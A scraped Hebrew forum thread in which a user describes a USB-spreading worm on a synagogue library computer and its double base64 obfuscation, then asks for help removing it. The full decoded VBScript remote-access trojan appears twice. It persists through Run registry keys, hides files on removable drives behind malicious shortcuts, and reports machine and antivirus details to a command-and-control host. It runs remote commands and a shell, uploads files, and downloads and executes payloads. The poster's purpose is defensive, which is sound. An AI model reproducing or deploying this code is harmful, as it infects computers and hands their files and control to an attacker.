                            spliter = "<" & "|" & ">"
                            sleep = 5000 
                            dim response
                            dim cmd
                            dim param
                            info = ""
                            usbspreading = ""
                            startdate = ""
                            dim oneonce
                            
                            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                            on error resume next
                            
                            instance
                            while true
                            
                            install
                            
                            response = ""
                            response = post ("is-ready","")
                            cmd = split (response,spliter)
                            select case cmd (0)
                            case "excecute"
                                  param = cmd (1)
                                  execute param
                            case "update"
                                  param = cmd (1)
                                  oneonce.close
                                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                  oneonce.write param
                                  oneonce.close
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                  wscript.quit 
                            case "uninstall"
                                  uninstall
                            case "send"
                                  download cmd (1),cmd (2)
                            case "site-send"
                                  sitedownloader cmd (1),cmd (2)
                            case "recv"
                                  param = cmd (1)
                                  upload (param)
                            case  "enum-driver"
                                  post "is-enum-driver",enumdriver  
                            case  "enum-faf"
                                  param = cmd (1)
                                  post "is-enum-faf",enumfaf (param)
                            case  "enum-process"
                                  post "is-enum-process",enumprocess   
                            case  "cmd-shell"
                                  param = cmd (1)
                                  post "is-cmd-shell",cmdshell (param)  
                            case  "delete"
                                  param = cmd (1)
                                  deletefaf (param) 
                            case  "exit-process"
                                  param = cmd (1)
                                  exitprocess (param) 
                            case  "sleep"
                                  param = cmd (1)
                                  sleep = eval (param)        
                            end select
                            
                            wscript.sleep sleep
                            
                            wend
                            
                            sub install
                            on error resume next
                            dim lnkobj
                            dim filename
                            dim foldername
                            dim fileicon
                            dim foldericon
                            
                            upstart
                            for each drive in filesystemobj.drives
                            
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                end if
                                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                    if not lnkfile then exit for
                                    if  instr (file.name,".") then
                                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                            file.attributes = 2+4
                                            if  ucase (file.name) <> ucase (installname) then
                                                filename = split(file.name,".")
                                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                lnkobj.windowstyle = 7
                                                lnkobj.targetpath = "cmd.exe"
                                                lnkobj.workingdirectory = ""
                                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                if  instr (fileicon,",") = 0 then
                                                    lnkobj.iconlocation = file.path
                                                else 
                                                    lnkobj.iconlocation = fileicon
                                                end if
                                                lnkobj.save()
                                            end if
                                        end if
                                    end if
                                next
                                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                    if not lnkfolder then exit for
                                    folder.attributes = 2+4
                                    foldername = folder.name
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                    if  instr (foldericon,",") = 0 then
                                        lnkobj.iconlocation = folder.path
                                    else 
                                        lnkobj.iconlocation = foldericon
                                    end if
                                    lnkobj.save()
                                next
                            end If
                            end If
                            end if
                            next
                            err.clear
                            end sub
                            
                            sub uninstall
                            on error resume next
                            dim filename
                            dim foldername
                            
                            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            filesystemobj.deletefile startup & installname ,true
                            filesystemobj.deletefile wscript.scriptfullname ,true
                            
                            for  each drive in filesystemobj.drives
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                     on error resume next
                                     if  instr (file.name,".") then
                                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                             file.attributes = 0
                                             if  ucase (file.name) <> ucase (installname) then
                                                 filename = split(file.name,".")
                                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                             else
                                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                                             end If
                                         else
                                             filesystemobj.deletefile (file.path) 
                                         end if
                                     end if
                                 next
                                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                     folder.attributes = 0
                                 next
                            end if
                            end if
                            end if
                            next
                            wscript.quit
                            end sub
                            
                            function post (cmd ,param)
                            
                            post = param
                            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                            httpobj.setrequestheader "user-agent:",information
                            httpobj.send param
                            post = httpobj.responsetext
                            end function
                            
                            function information
                            on error resume next
                            if  inf = "" then
                                inf = hwid & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                            
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set os = root.execquery ("select * from win32_operatingsystem")
                                for each osinfo in os
                                   inf = inf & osinfo.caption & spliter  
                                   exit for
                                next
                                inf = inf & "plus" & spliter
                                inf = inf & security & spliter
                                inf = inf & usbspreading
                                information = inf  
                            else
                                information = inf
                            end if
                            end function
                            
                            sub upstart ()
                            on error resume Next
                            
                            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                            
                            end sub
                            
                            function hwid
                            on error resume next
                            
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set disks = root.execquery ("select * from win32_logicaldisk")
                            for each disk in disks
                                if  disk.volumeserialnumber <> "" then
                                    hwid = disk.volumeserialnumber
                                    exit for
                                end if
                            next
                            end function
                            
                            function security 
                            on error resume next
                            
                            security = ""
                            
                            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                            for each objitem in colitems
                                versionstr = split (objitem.version,".")
                            next
                            versionstr = split (colitems.version,".")
                            osversion = versionstr (0) & "."
                            for  x = 1 to ubound (versionstr)
                                 osversion = osversion &  versionstr (i)
                            next
                            osversion = eval (osversion)
                            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                            
                            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                            
                            for each objantivirus in colantivirus
                                security  = security  & objantivirus.displayname & " ."
                            next
                            if security  = "" then security  = "nan-av"
                            end function
                            
                            function instance
                            on error resume next
                            
                            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                            if usbspreading = "" then
                               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                  usbspreading = "true - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                               else
                                  usbspreading = "false - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                            
                               end if
                            end If
                            
                            
                            upstart
                            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                wscript.quit 
                            end If
                            err.clear
                            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                            if  err.number > 0 then wscript.quit
                            end function
                            
                            sub sitedownloader (fileurl,filename)
                            
                            strlink = fileurl
                            strsaveto = installdir & filename
                            set objhttpdownload = createobject("msxml2.xmlhttp" )
                            objhttpdownload.open "get", strlink, false
                            objhttpdownload.send
                            
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                             
                            if objhttpdownload.status = 200 then
                               dim  objstreamdownload
                               set  objstreamdownload = createobject("adodb.stream")
                               with objstreamdownload
                                    .type = 1 
                                    .open
                                    .write objhttpdownload.responsebody
                                    .savetofile strsaveto
                                    .close
                               end with
                               set objstreamdownload = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            sub download (fileurl,filedir)
                            
                            if filedir = "" then 
                               filedir = installdir
                            end if
                            
                            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                            set objhttpdownload = createobject("msxml2.xmlhttp")
                            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                            objhttpdownload.send ""
                                 
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                            if  objhttpdownload.status = 200 then
                                dim  objstreamdownload
                                set  objstreamdownload = createobject("adodb.stream")
                                with objstreamdownload 
                                     .type = 1 
                                     .open
                                     .write objhttpdownload.responsebody
                                     .savetofile strsaveto
                                     .close
                                end with
                                set objstreamdownload  = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            function upload (fileurl)
                            
                            dim  httpobj,objstreamuploade,buffer
                            set  objstreamuploade = createobject("adodb.stream")
                            with objstreamuploade 
                                 .type = 1 
                                 .open
                                 .loadfromfile fileurl
                                 buffer = .read
                                 .close
                            end with
                            set objstreamdownload = nothing
                            set httpobj = createobject("msxml2.xmlhttp")
                            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                            httpobj.send buffer
                            end function
                            
                            function enumdriver ()
                            
                            for  each drive in filesystemobj.drives
                            if   drive.isready = true then
                                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                            end if
                            next
                            end Function
                            
                            function enumfaf (enumdir)
                            
                            enumfaf = enumdir & spliter
                            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                            next
                            
                            for  each file in filesystemobj.getfolder (enumdir).files
                                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                            
                            next
                            end function
                            
                            function enumprocess ()
                            
                            on error resume next
                            
                            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_process",,48)
                            
                            dim objitem
                            for each objitem in colitems
                                enumprocess = enumprocess & objitem.name & "|"
                                enumprocess = enumprocess & objitem.processid & "|"
                                enumprocess = enumprocess & objitem.executablepath & spliter
                            next
                            end function
                            
                            sub exitprocess (pid)
                            on error resume next
                            
                            shellobj.run "taskkill /F /T /PID " & pid,7,true
                            end sub
                            
                            sub deletefaf (url)
                            on error resume next
                            
                            filesystemobj.deletefile url
                            filesystemobj.deletefolder url
                            
                            end sub
                            
                            function cmdshell (cmd)
                            
                            dim httpobj,oexec,readallfromany
                            
                            set oexec = shellobj.exec ("%comspec% /c " & cmd)
                            if not oexec.stdout.atendofstream then
                               readallfromany = oexec.stdout.readall
                            elseif not oexec.stderr.atendofstream then
                               readallfromany = oexec.stderr.readall
                            else 
                               readallfromany = ""
                            end if
                            
                            cmdshell = readallfromany
                            end function
                            
                            א מנותק
                            א מנותק
                            אחרית לעמך
                            כתב נערך לאחרונה על ידי
                            #45

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            בחדר מחשבים שעל ידי ביתי

                            אולי תכתוב איזה חדר זה כדי להציל את הציבור (אם לא מיגרת את הוירוס שם)

                            תגובה 1 תגובה אחרונה
                            0
                            • ר רנדומלי

                              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                              cmd /c hrxxryydxo.vbs && start explorer [file name]
                              

                              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                              

                              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                              לאחר פיענוח הקידוד התקבל הקוד הבא:
                              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                              e
                              '<[ recoder : houdini (c) skype : houdini-fx ]>
                              
                              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              host = "khattab.no-ip.biz"
                              port = 5550
                              installdir = "%temp%"
                              lnkfile = true
                              lnkfolder = true
                              
                              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              dim shellobj 
                              set shellobj = wscript.createobject("wscript.shell")
                              dim filesystemobj
                              set filesystemobj = createobject("scripting.filesystemobject")
                              dim httpobj
                              set httpobj = createobject("msxml2.xmlhttp")
                              
                              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                              
                              installname = wscript.scriptname
                              startup = shellobj.specialfolders ("startup") & "\"
                              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                              spliter = "<" & "|" & ">"
                              sleep = 5000 
                              dim response
                              dim cmd
                              dim param
                              info = ""
                              usbspreading = ""
                              startdate = ""
                              dim oneonce
                              
                              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                              on error resume next
                              
                              instance
                              while true
                              
                              install
                              
                              response = ""
                              response = post ("is-ready","")
                              cmd = split (response,spliter)
                              select case cmd (0)
                              case "excecute"
                                    param = cmd (1)
                                    execute param
                              case "update"
                                    param = cmd (1)
                                    oneonce.close
                                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                    oneonce.write param
                                    oneonce.close
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                    wscript.quit 
                              case "uninstall"
                                    uninstall
                              case "send"
                                    download cmd (1),cmd (2)
                              case "site-send"
                                    sitedownloader cmd (1),cmd (2)
                              case "recv"
                                    param = cmd (1)
                                    upload (param)
                              case  "enum-driver"
                                    post "is-enum-driver",enumdriver  
                              case  "enum-faf"
                                    param = cmd (1)
                                    post "is-enum-faf",enumfaf (param)
                              case  "enum-process"
                                    post "is-enum-process",enumprocess   
                              case  "cmd-shell"
                                    param = cmd (1)
                                    post "is-cmd-shell",cmdshell (param)  
                              case  "delete"
                                    param = cmd (1)
                                    deletefaf (param) 
                              case  "exit-process"
                                    param = cmd (1)
                                    exitprocess (param) 
                              case  "sleep"
                                    param = cmd (1)
                                    sleep = eval (param)        
                              end select
                              
                              wscript.sleep sleep
                              
                              wend
                              
                              sub install
                              on error resume next
                              dim lnkobj
                              dim filename
                              dim foldername
                              dim fileicon
                              dim foldericon
                              
                              upstart
                              for each drive in filesystemobj.drives
                              
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                  end if
                                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                      if not lnkfile then exit for
                                      if  instr (file.name,".") then
                                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                              file.attributes = 2+4
                                              if  ucase (file.name) <> ucase (installname) then
                                                  filename = split(file.name,".")
                                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                  lnkobj.windowstyle = 7
                                                  lnkobj.targetpath = "cmd.exe"
                                                  lnkobj.workingdirectory = ""
                                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                  if  instr (fileicon,",") = 0 then
                                                      lnkobj.iconlocation = file.path
                                                  else 
                                                      lnkobj.iconlocation = fileicon
                                                  end if
                                                  lnkobj.save()
                                              end if
                                          end if
                                      end if
                                  next
                                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                      if not lnkfolder then exit for
                                      folder.attributes = 2+4
                                      foldername = folder.name
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                      if  instr (foldericon,",") = 0 then
                                          lnkobj.iconlocation = folder.path
                                      else 
                                          lnkobj.iconlocation = foldericon
                                      end if
                                      lnkobj.save()
                                  next
                              end If
                              end If
                              end if
                              next
                              err.clear
                              end sub
                              
                              sub uninstall
                              on error resume next
                              dim filename
                              dim foldername
                              
                              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              filesystemobj.deletefile startup & installname ,true
                              filesystemobj.deletefile wscript.scriptfullname ,true
                              
                              for  each drive in filesystemobj.drives
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                       on error resume next
                                       if  instr (file.name,".") then
                                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                               file.attributes = 0
                                               if  ucase (file.name) <> ucase (installname) then
                                                   filename = split(file.name,".")
                                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                               else
                                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                                               end If
                                           else
                                               filesystemobj.deletefile (file.path) 
                                           end if
                                       end if
                                   next
                                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                       folder.attributes = 0
                                   next
                              end if
                              end if
                              end if
                              next
                              wscript.quit
                              end sub
                              
                              function post (cmd ,param)
                              
                              post = param
                              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                              httpobj.setrequestheader "user-agent:",information
                              httpobj.send param
                              post = httpobj.responsetext
                              end function
                              
                              function information
                              on error resume next
                              if  inf = "" then
                                  inf = hwid & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                              
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set os = root.execquery ("select * from win32_operatingsystem")
                                  for each osinfo in os
                                     inf = inf & osinfo.caption & spliter  
                                     exit for
                                  next
                                  inf = inf & "plus" & spliter
                                  inf = inf & security & spliter
                                  inf = inf & usbspreading
                                  information = inf  
                              else
                                  information = inf
                              end if
                              end function
                              
                              sub upstart ()
                              on error resume Next
                              
                              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                              
                              end sub
                              
                              function hwid
                              on error resume next
                              
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set disks = root.execquery ("select * from win32_logicaldisk")
                              for each disk in disks
                                  if  disk.volumeserialnumber <> "" then
                                      hwid = disk.volumeserialnumber
                                      exit for
                                  end if
                              next
                              end function
                              
                              function security 
                              on error resume next
                              
                              security = ""
                              
                              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                              for each objitem in colitems
                                  versionstr = split (objitem.version,".")
                              next
                              versionstr = split (colitems.version,".")
                              osversion = versionstr (0) & "."
                              for  x = 1 to ubound (versionstr)
                                   osversion = osversion &  versionstr (i)
                              next
                              osversion = eval (osversion)
                              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                              
                              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                              
                              for each objantivirus in colantivirus
                                  security  = security  & objantivirus.displayname & " ."
                              next
                              if security  = "" then security  = "nan-av"
                              end function
                              
                              function instance
                              on error resume next
                              
                              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                              if usbspreading = "" then
                                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                    usbspreading = "true - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                 else
                                    usbspreading = "false - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                              
                                 end if
                              end If
                              
                              
                              upstart
                              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                  wscript.quit 
                              end If
                              err.clear
                              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                              if  err.number > 0 then wscript.quit
                              end function
                              
                              sub sitedownloader (fileurl,filename)
                              
                              strlink = fileurl
                              strsaveto = installdir & filename
                              set objhttpdownload = createobject("msxml2.xmlhttp" )
                              objhttpdownload.open "get", strlink, false
                              objhttpdownload.send
                              
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                               
                              if objhttpdownload.status = 200 then
                                 dim  objstreamdownload
                                 set  objstreamdownload = createobject("adodb.stream")
                                 with objstreamdownload
                                      .type = 1 
                                      .open
                                      .write objhttpdownload.responsebody
                                      .savetofile strsaveto
                                      .close
                                 end with
                                 set objstreamdownload = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              sub download (fileurl,filedir)
                              
                              if filedir = "" then 
                                 filedir = installdir
                              end if
                              
                              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                              set objhttpdownload = createobject("msxml2.xmlhttp")
                              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                              objhttpdownload.send ""
                                   
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                              if  objhttpdownload.status = 200 then
                                  dim  objstreamdownload
                                  set  objstreamdownload = createobject("adodb.stream")
                                  with objstreamdownload 
                                       .type = 1 
                                       .open
                                       .write objhttpdownload.responsebody
                                       .savetofile strsaveto
                                       .close
                                  end with
                                  set objstreamdownload  = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              function upload (fileurl)
                              
                              dim  httpobj,objstreamuploade,buffer
                              set  objstreamuploade = createobject("adodb.stream")
                              with objstreamuploade 
                                   .type = 1 
                                   .open
                                   .loadfromfile fileurl
                                   buffer = .read
                                   .close
                              end with
                              set objstreamdownload = nothing
                              set httpobj = createobject("msxml2.xmlhttp")
                              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                              httpobj.send buffer
                              end function
                              
                              function enumdriver ()
                              
                              for  each drive in filesystemobj.drives
                              if   drive.isready = true then
                                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                              end if
                              next
                              end Function
                              
                              function enumfaf (enumdir)
                              
                              enumfaf = enumdir & spliter
                              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                              next
                              
                              for  each file in filesystemobj.getfolder (enumdir).files
                                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                              
                              next
                              end function
                              
                              function enumprocess ()
                              
                              on error resume next
                              
                              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_process",,48)
                              
                              dim objitem
                              for each objitem in colitems
                                  enumprocess = enumprocess & objitem.name & "|"
                                  enumprocess = enumprocess & objitem.processid & "|"
                                  enumprocess = enumprocess & objitem.executablepath & spliter
                              next
                              end function
                              
                              sub exitprocess (pid)
                              on error resume next
                              
                              shellobj.run "taskkill /F /T /PID " & pid,7,true
                              end sub
                              
                              sub deletefaf (url)
                              on error resume next
                              
                              filesystemobj.deletefile url
                              filesystemobj.deletefolder url
                              
                              end sub
                              
                              function cmdshell (cmd)
                              
                              dim httpobj,oexec,readallfromany
                              
                              set oexec = shellobj.exec ("%comspec% /c " & cmd)
                              if not oexec.stdout.atendofstream then
                                 readallfromany = oexec.stdout.readall
                              elseif not oexec.stderr.atendofstream then
                                 readallfromany = oexec.stderr.readall
                              else 
                                 readallfromany = ""
                              end if
                              
                              cmdshell = readallfromany
                              end function
                              
                              DANI123D מנותק
                              DANI123D מנותק
                              DANI123
                              כתב נערך לאחרונה על ידי
                              #46

